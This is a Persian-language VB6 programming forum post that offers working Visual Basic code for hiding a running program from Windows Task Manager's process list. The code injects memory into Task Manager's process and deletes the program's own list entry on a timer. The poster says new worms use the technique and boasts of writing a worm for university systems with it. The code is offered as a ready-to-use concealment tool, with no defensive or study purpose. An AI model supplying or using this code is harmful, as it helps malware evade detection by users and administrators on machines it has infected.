نمایش نتایج 1 تا 15 از 15

نام تاپیک: مخفی کردن اسم پردازش از لیست PROCESSES

Threaded View

پست قبلی پست قبلی   پست بعدی پست بعدی
  1. #1
    کاربر دائمی آواتار DoctorJay
    تاریخ عضویت
    مرداد 1386
    محل زندگی
    پارس - شیراز
    پست
    348

    Thumbs up مخفی کردن اسم پردازش از لیست PROCESSES

    سلام .
    فکر کنم این کدا خیلی بدردتون بخوره, خودم که پیداش کردم جدا کف کردم
    امیدوارم

    در راه خیر ازش استفاده کنید , درست مثل من .....

    --------------------------------------------------------
    تو قسمت General

    Private Type bkh
    flag As Long
    psz As Long
    lParam As Long
    pt As Long
    vkDirection As Long
    End Type
    Private Declare Function VirtualAllocEx Lib "kernel32.dll" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
    Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
    Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As Long, ByRef lpdwProcessId As Long) As Long
    Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As Long, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
    Private Declare Function VirtualFreeEx Lib "kernel32.dll" (ByVal hProcess As Long, ByRef lpAddress As Any, ByRef dwSize As Long, ByVal dwFreeType As Long) As Long
    Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    Private Declare Function GetCurrentProcessId Lib "kernel32.dll" () As Long
    Private Declare Function KillTimer Lib "user32.dll" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
    Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
    Private Declare Function FindWindowEx Lib "user32.dll" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long


    --------------------------------------------------------------------------

    تو General نباشه :

    Private Sub Hide_Process(Name As String)
    Dim pName As Long
    Dim pType As Long
    Dim l As Long
    Dim Tid As Long
    Dim hTid As Long
    Dim pid As Long
    Dim h As Long
    Dim i As Long
    Dim hProcess As Long
    Dim f As bkh
    Dim s As String
    Dim bkh() As Byte
    h = FindWindow(vbNullString, "Windows Task Manager")
    KillTimer h, 0
    h = FindWindowEx(h, 0, "#32770", vbNullString)
    h = FindWindowEx(h, 0, "SysListView32", vbNullString)
    If h = 0 Then Exit Sub
    f.flag = 8 Or &H20
    Call GetWindowThreadProcessId(h, pid)
    hProcess = OpenProcess(1082, 0, pid)
    bkh = StrConv(Name, vbFromUnicode)
    pName = VirtualAllocEx(hProcess, 0, Len(Name) + 1, &H1000, 4)
    WriteProcessMemory hProcess, pName, VarPtr(bkh(0)), Len(Name), l
    f.psz = pName
    pType = VirtualAllocEx(hProcess, 0, Len(f), &H1000, 4)
    WriteProcessMemory hProcess, pType, VarPtr(f.flag), Len(f), l
    i = SendMessage(h, &H1000 + 13, 0, pType)
    If i <> -1 Then SendMessage h, &H1000 + 8, i, 0
    VirtualFreeEx hProcess, pType, Len(f), &H8000
    VirtualFreeEx hProcess, pName, LenB(Name) + 1, &H8000
    End Sub


    --------------------------------------------------------------------------

    حالا یه تایمر 5 ثانیه بذارید و ...

    Hide_Process CStr(App.EXEName & ".exe")

    --------------------------------------------------------------------------

    کرمهای جدید این تکنولوژی رو دارن ... این کدا داغ داغ , خودمم یه کرم خفن واسه سیستمهای دانشگاه نوشتم که این کدا توش بکار رفته , جدا مفید ..........
    آخرین ویرایش به وسیله DoctorJay : جمعه 16 آذر 1386 در 02:24 صبح دلیل: ناخوانایی

تاپیک های مشابه

  1. Processes در ویندوز XP
    نوشته شده توسط Ariyan در بخش برنامه نویسی در 6 VB
    پاسخ: 24
    آخرین پست: دوشنبه 07 مرداد 1387, 07:48 صبح
  2. مخفی نگه داشتن برنامه از تب processes
    نوشته شده توسط majjjj در بخش برنامه نویسی در 6 VB
    پاسخ: 1
    آخرین پست: سه شنبه 09 مرداد 1386, 10:46 صبح
  3. حذف یک Processes
    نوشته شده توسط هانی هاشمی در بخش برنامه نویسی در 6 VB
    پاسخ: 16
    آخرین پست: جمعه 26 اسفند 1384, 02:57 صبح
  4. قرار گرفتن نام برنامه فقط در بخش Processes
    نوشته شده توسط سعید قدیری مقدم در بخش برنامه نویسی در 6 VB
    پاسخ: 3
    آخرین پست: جمعه 15 اسفند 1382, 20:16 عصر

قوانین ایجاد تاپیک در تالار

  • شما نمی توانید تاپیک جدید ایجاد کنید
  • شما نمی توانید به تاپیک ها پاسخ دهید
  • شما نمی توانید ضمیمه ارسال کنید
  • شما نمی توانید پاسخ هایتان را ویرایش کنید
  •